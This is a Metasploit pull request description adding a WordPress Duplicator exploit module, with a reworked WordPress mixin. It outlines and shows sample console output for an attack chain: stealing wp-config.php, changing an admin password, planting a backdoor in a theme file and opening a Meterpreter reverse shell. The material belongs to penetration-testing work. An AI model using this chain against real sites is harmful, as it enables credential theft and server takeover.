rapid7/metasploit-framework — pull request #1301 by CharlieEriksen (2013-01-12 15:42:14+00:00)
Title: Adding exploit for WP Duplicator

This pull request is for adding an exploit for an arbitrary file disclosure in WP Duplicator, 0.4.1(Current version at the time of this PR) and below:
http://wordpress.org/extend/plugins/duplicator/

There's a bit going on in this PR though, mainly:
- I extracted all the logic from wp_google_document_embedder_exec into a wordpress mixin. Now we can exploit Wordpress in more than just a single exploit!
- Reworked wp_google_document_embedder_exec to make use of the mixin
- Reworked a bit of the wordpress logic
- The options are better named(URI vs PATH)
- The theme file that is used for the backdoor is no longer hardcoded to header.php. We now pick a random file, which makes the exploit more reliable
- Added the exploit for the wp_duplicator_exec vuln.

Expected output is along the lines of:

msf exploit(wp_duplicator_exec) > exploit

[*] Started reverse handler on 192.168.1.103:4444
[*] Fetching wp-config.php
[*] wp-config.php saved in: C:/Users/Charlie/.msf4/loot/20130112154058_default_192.168.1.116_wordpress.config_196193.txt
[*] Parsing config file
[*] DB_HOST config value was a loopback address. Trying to resolve to a proper IP
[!] User password changed to: oOEN7HAZ
[!] Editing theme twentytwelve file content-image.php
[*] Calling backdoor
[*] Sending stage (40384 bytes) to 192.168.1.116
[*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.116:49812) at 2013-01-12 15:41:01 +0000
[!] User password changed to: $P$Ba6CA6LqW.SqzLR.y/iu.FT0DytC1f.
[*] Shell should have been acquired. Disabled backdoor

meterpreter >